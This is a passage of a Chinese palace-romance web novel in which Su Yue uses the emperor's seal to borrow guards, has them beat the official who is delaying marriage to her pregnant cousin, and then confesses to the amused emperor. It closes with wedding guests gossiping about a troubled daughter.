苏月乌云罩顶,“他若是个正常人,肯定会把你接出去,但要是他不正常,我就没有办法了。再说这才三日,你且等一等,今日下这么大的雨,等到明日再说不成吗?” 苏意说不成,“不过是往太常寺递个手书说明情由,哪里那么难办,要花那么多时间。” 苏月恼火地合上了册子,“所以你便来责问我,是我让他不守信,是我让你不自爱的吗?” 苏意被她说得脸红,但那股胡搅蛮缠的劲儿一点没减弱,转过身嘟囔:“反正我是你阿妹,我丢脸便是你丢脸……” 苏月脾气上来了,起身作势去拽她,“来来来,你上外面宣扬去,就说你怀了身孕,要丢我的脸,让大家来评评理。” 这下她又不敢了,扎刹着脚步甩开她,小声嗫嚅着:“我也不是这个意思,我只是着急……” 苏月被她气得脑仁儿疼,咬牙唾骂她:“看看你这个鬼样子,我若是三叔,非打死你不可!今日打雷,我不出门,有什么事等明日再说。” 苏意又不情愿,“阿姐出门不是有马车吗。” 苏月狠狠白了她一眼,“我着力撮合你们,怕被雷劈。你还杵在这里啰嗦,还不给我滚回银台院去!” 苏意没办法,又哭哭啼啼回去了。到了第二日,苏月正预备出门的时候,符采慌里慌张来找她,压声道:“阿姐,苏意躺在床上直打滚儿,身下流了好多血,怕是要出事了。” 苏月心想完了,这破事,刚开始又结束了。 赶忙让人传医官给苏意诊断,医官说滑胎了,吃点药止血养身子吧。 苏意面如死灰,捂住眼睛说:“好了……他不要我了……” 苏月十分恼火,站在她床前道:“你放心,你就算是死了,我也让他把你的牌位娶回去。” 苏意呆滞了下,心想这算是安慰吗?再要说话,见苏月阴沉着脸往外就走,看样子是找白溪石算账去了。 梨园之外的龙光门上有缇骑把守,这些人平时作看守梨园之用,梨园里都是手无缚鸡之力的乐师,紧要关头想用人,还是得打缇骑的主意。 不过要启用缇骑,需要卫府专门的手令,一圈下来耗时耗力,十分麻烦。苏月已然决定为非作歹了,便径直找到副尉,同他打商量,要向他借几个人使使。 副尉很为难,挠着头皮说:“大娘子,不是末将不肯借,调动缇骑是大事,就算只动用两个人,也得等上头发话。” 苏月遂将荷包摘下来,交到了副尉手上,“这个押在你这里,若出了纰漏,由我来承担。” 副尉一头雾水,托着手掌道:“大娘子,末将一身正气,不受贿赂。您押什么都不顶用,这是军国大事,不由末将说了算。”边说边纳闷地打量,“不过……这是什么?” 苏月伸手打开小匣的盖子,把那枚章子仰天放倒,“陛下的印章,不知能不能凭这个向副尉借人。” 副尉顿时吓得膝盖一软,差点跪下来,“不敢不敢……请大娘子快把圣物收回去,末将这就点兵,听大娘子调遣。” 很快,十个人高马大的缇骑站在了苏月面前,个个压着腰刀,个个身披铠甲。 副尉问:“大娘子,这些够不够?不够末将再点十人,任凭大娘子差遣。” 苏月说够了,对付一个白溪石,哪里用得着这么多人。 于是缇骑开路,护卫她前往廪牺署。距离她上门交涉已经过了四日,她打听过了,太常寺到现在都没有接到白溪石的上书,看来他是打定主意用“拖”字诀了。 副尉受她调遣,策马跟在她的輂车边上,抖着马缰朝卷篷下看了眼,见她神色肃穆,满脸不悦,心下有些打突。 其实直到现在,也还是不清楚他们这些人跟去,要承办什么差事。副尉犹豫良久,忍不住打听了一句,“大娘子,过会儿末将等如何为大娘子效力?” 苏月已经能看见邻牺署的门楣了,双手紧握成拳,咬着槽牙道:“看见白溪石,给我往死里揍。” 第 45 章 和贱人打交道, 让她明白一个道理,要是能直接动手,就不要多费口舌。 副尉显然吃了一惊, “啊?大娘子说的,是早前的太常寺白少卿?” 苏月说对,“就是他。我与他有私怨, 今日一定要让他受些教训。”说着看了副尉一眼,“怎么, 揍人的事, 缇骑不干吗?” 校尉忙说哪能呢, “缇骑戍卫紫微城, 虽说是陛下的私人禁卫,平时还讲求些体面,可一旦受命,上刀山下火海都是小事,更别说揍人了。”横肉满脸的五官, 努力挤出了和善的笑,“尤其末将知道, 大娘子与陛下是自己人, 陛下的禁卫, 不就是大娘子的禁卫吗。您放心, 日后有差遣, 压根不用出示陛下私印, 末将等只要认准大娘子这个人,准错不了。” 苏月头一回体验到了特权的快乐,难怪天下人都想做皇帝,做了皇帝就是好, 只要一声令下,就有人为你肝脑涂地。自己拐着几个弯呢,都能沾上这样的光,好像这上都,也没有初来时候这么让人难以适应了。 反正就是典型的没良心,要是让乾阳殿里那人知道,选郎子嫌弃他不够成熟稳重,利用起他的权力来得心应手,肯定会阴阳怪气嘲讽她一通。不过现在不是考虑这些的时候,她一心只想找白溪石讨公道,苏意就算再不成器,女郎莫名其妙怀了孩子,得不到应有的关心和照应,就是这个闯祸的男子该死。 因此马车到了廪牺署门前,她从车上下来直接闯入了官署。白溪石这时正与手下商议公务,见她带着一帮缇骑冲进衙门,不由有些慌张。 “辜娘子怎么来了?” 苏月没有应他,对副尉使了个眼色,一众缇骑如老鹰捉小鸡一样,抓住白溪石的衣领拖到院子里,然后摆开阵仗一通狠揍,揍得白溪石鼻青脸肿,哭爹喊娘。 廪牺署的属官都吓坏了,谁也不敢上前劝阻,毕竟打人的是缇骑,就算不问情由,也一定师出有名。他们唯一能做的,就是在上司挨完揍后,壮着胆子过去搀扶。白令给打得找不着北了,站也站不住,顺势就要往下出溜。左右得用力架住,才能避免他瘫倒在地。 苏月看着这面目全非的伪君子,终于觉得出了口恶气,这回不单是为苏意,更是为了刘善质,和一众被他欺骗过的女郎。和这种人打交道,就得先狠狠捶上一顿,捶掉他身上的油滑,他才能老老实实和你说话。 “白令可是觉得我很好糊弄?我领教过你的巧言令色,上次也同你说过,你要是不守信用,我定会收拾你。三日了,你递交太常寺的文书在哪里,为什么半点踪迹也没有?苏意等了你三日,日日心事重重,今早出门摔了一跤,把孩子摔没了,你说,你接下来打算怎么办?” 白溪石那肿成了一道缝的眼睛,在听说苏意小产之后,猛然睁大了一分,连咳带喘地说:“我不知道会这样……我只是忙,一时没抽出空送过去……文书我已经写好了,真的。” 苏月哼了声,“你不是忙,你是下不了决心,想再拖延一阵子,看看我们有什么办法能对付你。这下好了,如你所愿,你还犹豫吗?白令,做人要懂得审时度势,你都给贬到廪牺署来了,再也没有欺凌乐工的机会了,仍旧不收心,难道等着冯大人给你官复原职吗?你看看,我们原本可都是老实纯良的女郎,被你逼到这个份上,都是你的错。如今你到底打算怎么选,是宁死也不愿意给苏意一个说法吗?既然这样,那我就把你扭送到大都府去,告你个□□乐工的罪,让你这辈子都翻不了身。” 一旁的缇骑们到这时才明白其中缘故,副尉叫嚣起来,“好个牲口,竟这么不要脸!大娘子要是早说,咱们不拆掉他几根骨头,便宜了他。您说吧,要不要让他后悔来了世上一遭,若要,我们现在就把他变成母的。也别去大都府了,直接把他扔进蛮子营,让他拿后半截来赎罪吧。” 这个好主意,成功把白溪石吓傻了,他声嘶力竭说不,“辜娘子,我错了,我不该三心二意,不该拖延时间……你再给我一次机会,我一定改过,一定八抬大轿迎娶苏意,给她一个正经的名分。” 苏月听完笑了,“看来不挨一回揍,你就闹不清自己在想些什么。白令,我是个得势便猖狂的人,不单现在看着你,日后也会看着你。你要是对苏意再做出任何不公的事来,我还让人打你,你听明白我的话了吗?” 白溪石已经不想再反抗了,颓然点头,唯唯诺诺地说:“听明白了。” 听明白了就好,苏月便不再和他啰嗦了,转身走出了廪牺署的大门。 副尉啧啧,“这样的人,还要来做什么,嫁个贩夫走卒都比嫁这种人强。” 苏月叹了口气,“愿打愿挨,我也做不了主。” 副尉沉重地点了点脑袋,提醒她眼下有要紧的问题亟待解决,“今日教训了渣滓,虽然很解气,但大娘子别忘了他是朝廷命官,身上还有品阶。在还未定罪的情况下,我们滥用私刑揍了他,要是被人参到陛下面前,恐怕陛下不知内情,会误会了大娘子。与其让人背后上奏,不如主动向陛下说明情由。我等是不值一提的人,只要陛下这回不怪罪,往后我们听从大娘子差遣,哪怕理不直,气也壮。” 这个道理苏月是明白的,白溪石原先是四品的少卿,被扔到廪牺署做了令,官降一级,却也降得有限。他们这群人气势汹汹赶到官衙,二话不说狠狠把他揍了一顿,未必不会激发出御史的兴趣,明日早朝弹劾她一通。自己破格做了梨园使,毕竟有权无名,上不了朝堂,无法为自己申辩。要是提前去面圣,把事情的前因后果都说明白,那么就算闹上朝堂,皇帝陛下也会为她开脱的。 打定了主意就实行,苏月道:“副尉说得很是,等我把手上的事处置好,便即刻入宫面见陛下。” 马车急急赶回圆璧城,回去先见了苏意,对那个躺在床上心灰意冷的人说:“已经和他商定了,他会尽快向太常寺递文书的。” 苏意惨然望着她,“有孩子作为底气,他尚且推脱,这回连孩子都没了,他真能答应吗?” 苏月道:“他若是不答应,我过两日再去找他。到时候你就别指望和他有结果了,这人不想娶你,你强嫁也没有意思。” 苏意仰在枕上,目光空洞地点了点头,“我有时候想,是不是自己过于强求了,害人害己。” 苏月心道这只是你偶尔的清醒,等过了一炷香时间,你就又发癔症了。 果然料得没错,甚至还没用上一炷香,苏意就已经想开了,“大概这就是我的劫数吧,老天注定的姻缘,没有半分退路。” 苏月忍不住撇嘴,老天爷得有多闲,才来管你们这些乱七八糟的破事。自己是没有办法,才被逼着掺合进来,要是能够,这个堂妹她都不想要了,赶快收拾起来,把她扔出去吧。 “总之你先养身子。”她糟心地别开了脸。 肚子还没显的时候,遮掩遮掩没人知道她怀了孩子,结果现在一小产,纸还包得住火吗?这个苏意,总有本事让一切一败涂地,自己是不能再面对她了,多看一眼,都有被气晕过去的可能。 转身走出小和春,看看时辰,她该去领罪了。穿过长廊的时候,闻见隐约飘来的烤饼香气,知道厨上又有新饼子出炉,便去包上一份带着。礼多人不怪,空手认错有被骂的可能,拿吃的堵住他的嘴,他就顾不上了。 回到官舍,七拐八弯找到那道小门,钥匙她是随身携带的,倒出来就能开门。迈上巷道后,回身再把门插上,这南北笔直的路,两侧虽有高墙壁立,但走在里头不担心中途遇上人盘问,实在省心省力。 只不过盛夏炎炎,日头照在身上发烫,她得尽量挨着西边的墙根儿走,才能走在阴凉底下。等南北直道走至尽头,左转进入陶光园后夹道,往南一转就是徽猷殿了。 她从小宫门上突兀地蹦出来,吓了值守的内侍一跳,两眼怔怔地望着她。 她温和地笑了笑,“中贵人,吃饭了么?” 内侍又怔怔点头,“娘子吃了吗?” 苏月说吃了,掖着手道:“我来向陛下问安,走得匆忙,还没通禀……陛下在徽猷殿吗?” 宫中办差的都是人精,他们深知道这位娘子与陛下的渊源,哪个也不能为难她,忙道:“今日安西大都护应召入京,陛下恐怕正忙政事。要不娘子直去乾阳殿吧,奴婢找人送娘子过去。” 苏月道好,跟着去了乾阳殿。那地方是皇帝专用以务政的地方,比之后面的徽猷殿要庄严许多。上回来时,是淮州在廊上接应,这回多出了许多生面孔,看上去都是颇有品级的内监,站在那里冷眉冷眼,像庙里的四大天王。 好在再威严的人,也讲人情,看见她身上的公服,那些大内侍便知道她的来历了,领头那个上前来行礼如仪,“娘子安好,卑下万里,是乾阳殿内侍总管。娘子可是来求见陛下的?陛下这会儿正忙,且在偏殿稍待片刻,等……” 话还没说完,就见两个禁卫拖拽着一个身着铠甲的人从大殿里出来,那人一脸激愤,高声申辩着:“陛下,臣对陛下赤胆忠贞,苍天可见……” 可惜没有机会多言,很快便被强行押走了,紧接着传来杯盏砸碎的声响,“哐”地一声,吓得廊上的内侍脸色发白,纷纷垂手退到了一旁。 苏月心头也直蹦跶,平时的权大看上去极好说话,让她忘了他是皇帝。乾阳殿是他驾驭天下的场所,自己到这儿求见,是不是来错了?早知道就该夜里去徽猷殿,人越少,越好商谈。怪自己太心急,正撞上他大发雷霆的时候,这下子可完了,别不会给自己招来麻烦吧! 她胡思乱想,侍立的内侍也不敢出声,只是一味向她比手,把她引入了偏殿。 苏月拘谨地坐下,膝头上放着油纸包,炉饼的热量源源烘灼着皮肉,好像也感觉不到烫了。隔壁大殿里说话的声音忽高忽低地传来,全是要紧的国家大事。她虽听不太懂,但知道皇帝正与臣工力争,要不顾礼法,打破那些千百年来的痼疾。 一个王朝,有不畏强权不惧生死的臣子,才是盛世的象征。皇帝震怒之下,又有人丢官罢爵了,但这回不需要人动手,一个两鬓已有霜色的朱衣大臣脱帽跣足,大步流星从殿里走出来,连头都没回一下,昂首挺胸往宫门上去了。 苏月抚抚胸,心想吵得不可开交啊,自己就别往枪头上撞了吧!于是站起身,对边上的大内侍道:“万总管,我也没有太过要紧的事,陛下正忙,我就不叨扰了,下次再来好了。” 可她要走,万里却不让,“娘子前来谒见,自有御前的人进去通传。陛下已经知道娘子到访了,您来了又走,不与陛下请安,卑下等不好交代。” 没有办法,她只好硬着头皮又坐回去,两眼茫然望向殿外潇潇的天,心惊胆战等待召见。 正殿里君臣的博弈持续了很久,苏月觉得每一刻都极其漫长。她自小是在温软的环境里长大,阿爹鲜少有发脾气的时候,听见权大严厉的口吻与嗓门,她就觉得自己死了半截。 现在细想想,得罪过太后和皇帝,居然还能无惊无险活到现在,何尝不是老天眷顾。若是照着常理,开国的皇帝哪有时间与你温情小意,逮住了扔上床临幸,然后又丢到一旁弃如敝履。一个没有足够手段笼络君王的笨丫头,必定凄凄惨惨度过余生,哪能穿上定制的公服执掌梨园,在这煌煌的紫微城中任意来去。 手指扣着油纸包上的细麻绳,简直忍不住要向天参拜,感谢自己一切安好,家人在姑苏也都安好。正唏嘘的当口,见正殿里有人出来,官员们沉默着,低头走过了廊庑。 苏月打直脊背,料想皇帝陛下快要召见她了。可是等了良久,隔壁一点动静都没有,连国用和淮州都未出现。 她不由彷徨,迟迟望向万里,万里示意她稍安勿躁,自己悄悄上正殿外看了一眼,回来后默然摇头,让她继续等着。 苏月偏头盯着案上的线香,整支都烧完了,又过一会儿,才见国用从门上进来。 她心有戚戚,压声道:“班领,要不我回去吧,今日不宜面圣。” 国用眨了眨眼,“黄历上写着诸事大吉呢,娘子快随我来吧……油纸包儿里装的什么?别忘了带上。” 苏月只得咬牙跟国用进了正殿,正殿幽深,两侧立着一对祥云香筒,正缓缓散发稀薄的烟雾。皇帝坐在案后,垂眼肃容翻看奏疏,就算听见脚步声,也没有抬一下眼。 苏月瞅瞅国用,不知如何是好。 国用右手藏在左袖底下,挤眉弄眼朝上指了指。 伸头一刀,缩头也是一刀,她吸口气壮起胆,亮嗓唤了声“陛下”。 不知是不是因为太久没发声的缘故,她拿捏语调出了点偏差,那一声听上去像猫叫似的,居然有股娇嗔的味道。 皇帝翻奏疏的手顿了顿,终于慢慢抬起眼。然后视线往下一转,落在她手上,启唇问:“带的什么?是吃的吗?” 这个问题问得妙,把一切不安都化解了。苏月从来没有如此庆幸自己懂得人情世故,小小的一个伴手礼,能帮她捡回半条老命。 忙说是,蹀躞着小步上前,把油纸包提溜起来晃了晃,“刚出炉的云头饼,卑下来时想着给您带一些。不过好像时候太长了,已经不怎么暖和了……” 皇帝把案上摊得到处都是的奏疏往边上推了推,腾出地方让她摆放,蹙着眉嘀咕:“骂了半日,肚子都饿了。” 苏月说正好充饥,展开油纸包,把饼子送到他身前。内侍预备的饮子也送来了,同来的糕点没有了用武之地,又给悄悄撤了下去。 他低着头慢慢地吃,看上去还是气鼓鼓地。苏月便把饮子往前推了推,“喝口茶,别噎着。” 皇帝看看她,复又叹了口气。 苏月道:“您今日气大发了,卑下站在这里有些害怕,要不我先回去吧。” 能在陛下气头上添柴火,根本就是恃宠而娇啊。边上侍立的人额头冒汗,眼皮直蹦跶,不想陛下似乎早就习惯了,反倒安抚了她一句,“帝王威严用以震慑臣工,和你没什么关系,你有什么可怕的。” 苏月试探着问:“那您为何隔了那么久才召见卑下?卑下以为您不想见我,恨我来得不是时候。” 对于皇帝来说,她哪时出现都是好时机,就没有不好一说。 一个饼子吃完了,他抿了两口茶,这时也有心情挤兑她了,没好气地说:“立时召见你,火气还没散,你来必定没好事,难道上赶着挨骂?” 所以陛下真是太为她考虑了,苏月竟有些感动。心情不好自己消化,天底下哪来这样的有道明君! 于是谄媚地笑了笑,“今日发生了一些小事,迫不及待想与陛下分享一下。”边说边又取了个饼子送上前,“再来一个吗?” 皇帝摇了摇头,“梨园的饼真难吃,朕咽不下去了。” 苏月忙道:“那下回卑下亲手给您烤,杨花参饼,夹一寸厚的肉馅儿,成吗?” 皇帝便有点高兴了,“果然还是辜娘子深得朕心。” 真的,陛下说出这番话,两掖站班的内侍都快哭了,庆幸还好有辜娘子,否则他们这些人不知要提心吊胆多久,出点什么差错,兴许脑袋就搬家了。 知情识趣的国用搬来了杌子,“陛下,小娘子先前崴了脚,赏她坐下吧。” 苏月诧异地回头,换来国用小眼乱眨。 反正这话不论真假,皇帝没有不准的,只是嫌弃地打量她,“平地走路都能崴脚……哪块砖绊了你,朕让人把它碾平。” 苏月提着袍子坐下来,摆手说没有,“就是天热,脚下糊涂了。” 皇帝的挑剔更明显了,“哪里是脚下糊涂,朕看你是脑子糊涂。”嘴里说着,要去查看她的脚踝,“哪只脚扭伤了,要不要传御医?” 正经的女郎,哪能随便让男子看脚。苏月往后缩了缩,“早就不疼了。”忽然心血来潮问他,“陛下,是不是因为您家只向我家提过亲,所以您才待我特别好啊?” 皇帝也没多想,随口应了句,“愿得一人心,免得老相亲。朕也没有多喜欢你,只是怕麻烦,如此而已。” 第 46 章 苏月听了, 觉得这人真是讨厌得紧。你可以感受到他的真心,但你休想从他口中听到好听话。他就爱执着地嘴硬,装腔作势, 反正怎么让人讨厌怎么来。 难怪太后总是长吁短叹,要不是因为他当上了皇帝,这辈子打光棍是毋庸置疑了。苏月翕动着嘴唇, 无声地唾弃了他一遍,好在自己没有喜欢上他, 他再怎么讨人嫌, 也不能伤她半点心。 可他又觉得不对劲了, 侧目审视她, “你嘟嘟囔囔,是不是在说朕坏话?” 苏月说没有,“智者不入爱河,陛下如此清醒,颇有君王风范。” 他护住了颜面, 内心却开始蠢蠢欲动,“那你呢?你对朕, 是不是有些喜欢?” 一旁侍立的人立刻眼观鼻鼻观心, 心道天爷, 这是他们能听的吗?可惜耳朵关不上, 辜娘子的回答, 所有人听得一清二楚。她说:“卑下对陛下只有崇敬, 别无其他。” 皇帝的眉毛压下来几分,“就这样?朕对你这么好,只换来你的崇敬?” 怎么,自己对人家没几分喜欢, 却想换她的“一人心”,世上的好事全被他占了。 苏月还记得自己此来的要务,也不管他的百思不得其解,强行收拢了他的注意力,“陛下,我们还是来谈谈正事吧!我今日带人把白溪石打了,特意进来,和您告罪。” 皇帝以为自己听错了,“什么,你把白溪石给打了。” 苏月讪讪说是啊,“打得挺惨的,鼻青脸肿,眼睛都睁不开了。” 皇帝错愕地望着她,半晌说不出话来。 苏月感觉不太妙,离开杌子站了起来,“卑下还是站着回话吧……我知道他是朝廷命官,不能随意殴打,但他实在太恶劣,不打他,难解我心头之恨。” 皇帝简直恨铁不成钢,在苏月以为他要痛斥她之际,气闷地说:“打人不打脸,打脸会留下罪证,这点你不知道吗?要解气,须得往看不见的地方使劲,让他受内伤,有苦说不出才好。是谁帮你下的手,如此外行?” 边上的国用呆滞地觑觑苏月,先前还担心陛下会不高兴,没想到又多虑了,这个走向,才是情理之外,意料之中。 苏月的嘴不够严,很快就把同伙供了出来,“是龙光门上的缇骑,我拿着您给的章子调兵遣将,把他们说动了。” 皇帝扶住额,“朕就知道,这枚印章迟早会惹出祸端来。” 苏月下意识捂住了荷包,“送了人的东西可不能再要回去,陛下金口玉言,最忌出尔反尔。” 皇帝冷冷凝视她,“朕就想问问,为何你的胆子这么大,连缇骑都敢调动。他们是朕的禁卫,你不知道吗?” 苏月支吾道:“所以我才动用了那枚章子,否则没有帮手,打不了他。副尉也说了,说卑下和您是自己人,帮我诚如听了陛下的令,我觉得他说得挺好的。” 皇帝斟酌了下,也就不那么生气了,“确实很有见解,可见动过脑子了。不过脑子虽有,经验却奇差,缇骑竟不知道打人的诀窍,实在令朕大失所望。” 苏月忙替他们辩解,“是卑下要他们揍脸的,谁让他仗着皮囊骗人。” 皇帝不由叹息,“一时解气,明日就有言官弹劾你了,你等着吧。” 苏月的气焰顿时矮了几分,“陛下会保我的吧?” 皇帝白了她一眼,“朕不保你,你就该撤职查办了。” 有他这句话,苏月就放心了,重又坐回杌子上道:“卑下这么干是事出有因,前几日他答应即刻向太常寺递交文书的,结果说话不算话。苏意等得着急,今早摔了一跤,把孩子摔没了。换了谁能忍受这奇耻大辱,我不收拾他,还等什么?” 原来是真的事出有因,皇帝听后觉得她办得对,甚至还打轻了。 “你确实需要人手,以备不时之需,朕什么都想到了,怎么偏偏漏了这个。朕问你,那几个缇骑用起来可顺手?若是不顺手,朕从南边给你调几个好的过去。” 苏月受宠若惊,“这怎么好意思,就这几个,卑下已经十分满意了。” 听得国用无话可说,彻底宾服了。 瞧见没有,这就是肆无忌惮的偏爱。先前对付臣僚的雷霆手段,在见到辜娘子之后荡然无存,什么都可以包庇,什么都可以周全,连她要打人,都要先替她准备好人手。 可明明那么喜欢,嘴上却又不服软。作为太后安插在御前的耳报神,国用已经开始发愁该怎么向太后回禀,送到嘴边的情话,又一次被陛下搞砸了。 苏月呢,自己的事圆满解决后,就有闲心同他打探先前的变故了,“陛下刚才为什么生了好大的气?一个被查办,一个摘了乌纱,御史台的人今晚八成睡不好觉了。” 皇帝沉默片刻,抬眼瞥了下国用。国用如梦初醒,忙两手一招,把侍立的人都遣出去了。 没有外人在场,话说起来就不必顾忌了,皇帝道:“朕要整顿军务,几大都护府拥兵自重,朝廷鞭长莫及,若有异动,难以辖制。先前的安西大都护,是朕的心腹,联起手来演一出戏,是为打开口子,让朕能安插亲信入北庭蒙池,检验一下几大都护的忠心。” 苏月恍然大悟,想了想又问:“戏好演,如何收场呢,陛下自己又想通了,很没面子吧。” 皇帝乜了乜她,“所以你立功的机会又来了,朕会让人记录在册,梨园使冒死谏言,保下了安西大都护。” 苏月啊了声,“又涨功德了……” 皇帝说:“朕总得有个台阶下,待各大都护府都安插上了可堪信任的人,就可以收网放人了。” 苏月点了点头,“那光脚走出去的那位大人呢?他也是陛下的苦肉计吗?” 皇帝提起那人,脸色就不豫,“文臣死谏,武将死战,此乃国之大幸。但若是有个日日以反你为己任,不问是否利国利民,以为只要令君王不快,就能彰显忠贞的臣僚在,那这朝堂就做不到君臣一心。毕竟总会有几个糊涂虫被鼓动,跟着一起叫嚣,三人成虎,其势不可挡。但你若问他们有何高见,没有高见,与众人相悖就是风骨。这样的人留着,除了添堵一无是处,早早辞官,反而是他的保命之道,朕绝不相留。” 苏月顿感遗憾,原本以为自己又可以记上一笔,到最后不说功高盖主,至少也是不可多得的忠良。但现在那位一身反骨的大人把皇帝陛下得罪透了,重返朝堂是不可能了,她只好退而求其次,“那就给他些赏赐,让他回乡养老吧,也好彰显陛下宽宏大量,不念旧恶。” 皇帝的目光中多了几分赞许,“辜娘子真是位仁厚的女郎啊,回头让人记上一笔,就按着你的谏言,给他些优恤。” 今天又是满载而归的一天,自己的麻烦化解了,还攒下不少功德,长此以往,怕要配享太庙。 越想越高兴,她松快地说:“过几日就是中秋了,梨园排演了不同于以往的曲目和舞蹈,到时候一定让陛下刮目相看。好了,卑下要告退了,八月十五再见。” 她福福身就要走,皇帝不悦道:“朕还没发话呢,你当这乾阳殿是什么地方,想来就来,想走就走?朕问你,你打人的这件事,就算处置妥当了?” 苏月心道果然是高估他的心胸了,今天又找他走了后门,他岂能平白放过这个攒钱的好机会。自己已经有两枚铜钱落进他手里了,十枚攒起来很快,攒满之后会发生什么,不太敢想。 她不想掏,可不掏好像又不行,下次再有事相求,肯定不灵验了。 犹犹豫豫翻出一枚,紧紧捏在指尖,她说:“白溪石那件事,不能怪我……” 她给得十分不情愿,以至于皇帝要拔那枚钱,还得费九牛二虎之力。 “不怪你,你把人揍得满脸花?有何冤屈大可告到大都府,或是具表上奏,不能滥用私刑。”皇帝咬着牙,终于把那枚钱拔了出来,发狠地握进手里,“朕告诉你,这是你们的私怨,私怨动用公器是重罪。你在朕面前公私不分,朕都包涵了,可你不知感恩,那就是错上加错,要被削职,关回好望山的,知道吗?” 苏月不敢再反抗了,垂头丧气说:“卑下知罪了。” 皇帝哼了声,“知罪就好,明明可以钱货两讫,何必欠朕人情。这世上人情可是最难还的,望小娘子谨记在心。” 苏月唯唯诺诺,看着他抽开抽屉,当着她的面把铜钱投进了锦盒里,然后转头冲她笑了笑,“还差七枚,朕就可以向你提要求了。” 不知为什么,苏月觉得他的目光隐隐透出一种如饥似渴的味道,每一次瞧她,都是一副淫心欲动的样子。 她咽了口唾沫,不自觉地想捂领口。再定睛看他,其实是自己想多了,那目光分明充满不遮不掩的促狭和算计。她有些讪讪,临走前又再三向他重申:“得是光明正大的要求啊,不能违背女郎的意愿,更不能作非分之想。” 皇帝朝她一哂,“欠了一屁股债,到了还债的时候还想约法三章,天下竟有这样的稀奇事。” 苏月没理睬他,乘着夕阳,顺着来时的路,重又回到了梨园。 果真直接动手,事半功倍,磨磨蹭蹭的白溪石,当日就让人把文书送到了太常寺。官员要迎娶梨园乐工,还是有一定优待的,只要乐工本人答应,基本没有办不成的。 于是第二日,白溪石就亲自来接苏意了,身体还很虚弱的苏意原本很高兴,但一见到情郎鼻塌嘴歪的样子,顿时就激愤起来,“怎的弄成了这样?”脑子转得飞快,立刻明白了其中原委,回头怨怪苏月,“阿姐下手也太狠了,险些把人打死。” 苏月蹙眉,“不打成这样,你以为他会来接你?你要是改了主意,只要一句话,他立刻调头就走,你信么?”不过这瘟神是一定要想办法送走的,于是又转变了话风,好言好语道,“伤了点皮肉而已,回去养一养就好了。你且跟他去吧,催促他快些准备婚事,再往姑苏家里送封信。三叔和阿婶知道你给自己找了个做官的郎子,一定会为你高兴的。” 苏意听后便不再抱怨了,小心翼翼登上马车。还算有良心,临走的时候透过花窗同她道别,“阿姐,我走了。” 苏月点头不迭,“在人家家中,一定要好生照顾自己。盼你们和乐美满,早日成婚。” 扬手挥动,边挥边感慨,终于,终于甩掉这个累赘了。自己在上都确实只有这么一个至亲,但这位至亲有也诚如没有。现在脱离梨园跟了白溪石,白溪石好歹还有官职在身,抛却人品不谈,已经是上佳的姻缘了。 这厢的事情办好了,接下来只需操心梨园的事务。有时一些高门显贵家中有宴请,会点名要苏月一同前往,并不为让她登台,只是单纯想结交她,谁让她在陛下跟前面子如此之大。 那些乱七八糟的传言无法禁止,她和权家大郎捆绑日深,甚至听见个小道消息,说陛下至今不立皇后,不选妃嫔,都是为了她。苏月有时候想,自己这辈子怕是完了,就算想嫁别人,也没人敢娶她。 唉,走一步算一步吧!她如今只有一个念想,先把梨园经营好,今年年下想个办法回一趟姑苏,见一见阔别已久的家人。 前景还是美好的,至少如今的梨园已经很让人满意了。没有了笼罩在头顶的阴霾,乐工们也能得见天光,就算去私宅献演,也不再感觉为难了。 苏月作为梨园使,不像太乐丞那样,经常需要跟着前头人的队伍跑。邀约很多,她也不是家家都去,只有推脱不过时才充当押队的重任,陪同乐工们一同前往。 这日代侯的儿子娶亲,前一日收到了代侯夫人的请帖,侯夫人亲自登门拜访,拉着苏月的手说:“咱们早前,可都是姑苏的同乡啊。我家住在城北,是权家族亲,陛下得唤我们侯爷一声堂叔。当初我们与太后来往多,太后托付的媒妈妈,还是我替她请来的呢。” 苏月只能干笑,不知该说什么好。代侯夫人也不需要她多言,一再相邀,“家中有喜事,可一定得来啊。太后与陛下在宫中,不便走动,娘子莅临,也是我们的荣耀。” 仿佛在这些人眼里,她和宫中的人就是一家,只要她到,也挣足面子了。 无论如何推脱不得,苏月只好接下邀约,又开始发愁,专程来下帖,不需要随礼吧!上都每日宴请那么多,自己的俸禄哪够随礼,了不起到时弹上一曲作为敬贺,就已经很够意思了。 于是当日依约前往,她的出席,让乐工们得到了空前的恩赏。以前至多一人一贯大钱,这次却各自得了二两银子,拿小小的红布兜装着,由侯夫人亲自送到手上。 侯夫人说:“如今梨园不同了,瞧着辜娘子,我们也不能慢待乐师们。这大热的天,乐师们辛苦,拿着钱买茶喝,等将来孙儿落地,还要请乐师们来贺百日呢。” 得了重赏,礼乐演奏自然更卖力,代侯府在梨园应邀的名单上,名次往前提了好几档。 不过喜宴上也出了点意外,新人拜天地的时候,不知从哪里闯出个年轻的女郎,打扮很光鲜,眼神却懵懂呆滞,在礼堂上乱转。 观礼的宾客窃窃私议,家主慌忙让人把她带下去,后来才知道那是代侯家的女儿,据说以前很正常,前阵子不知怎么疯了。代侯夫妇已经尽可能把她藏起来,免于在外人面前出现,可今天人多事杂,下人看管不力让她跑出来,好好的喜宴被搅乱了。代侯夫妇的情绪有些低落,但仍是勉力打起精神,殷勤地招呼应邀的宾客们。 可惜世上总不乏伪善的好人,看热闹不嫌事大,不遗余力地揭人伤疤。她们执拗地将代侯夫人拽到一旁,一副掏心挖肺的样子,压声道:“四娘的病症,怎么到如今还是不见好转?照理说上都有最好的医官,合该减轻些了才是。” 代侯夫人很尴尬,显然不想谈及这件事,硬挤出笑容道:“其实已经好多了,不过今日热闹,她想出来看看罢了。” 有人长叹,“好好的女郎,弄成这样,定要抓住那个罪魁祸首。” 代侯夫人的脸色就不太好了,又不能得罪宾客,按捺住了解释:“她是娘胎里带的症候,她生母娘家也有这样的亲戚。” 可那些人压根不信,“你也不必遮掩,咱们都是自己人,难道还笑话你们不成。分明是去庙里还愿,遇见了歹人,哪里出的事,回来人给糟践成了什么样,我们都知道。” 代侯夫人急起来,“没有的事,都是讹传,千万不能轻信。” 劝慰的人还在劝慰,“且再忍忍,总有天亮的时候。报到大都府,让府尹彻查,还四娘一个公道。” 代侯夫人辩解不及,几乎要哭了,“你们何故非说四娘遭人侵犯了?孩子不过是病了,只是病了而已,并未受人凌辱,她是清白的。” 可那些人反倒对她生出了埋怨,阴阳怪气道:“做父母的,一味保全脸面,让孩子打落牙齿和血吞,怎么对得起她一声爹娘。今日二郎成婚,再看看四娘,这辈子都葬送了,你不能因她不是你生的,就不拿她放在心上。唉,孩子多可怜,连父母都不为她主持公道,她还有什么指望。” 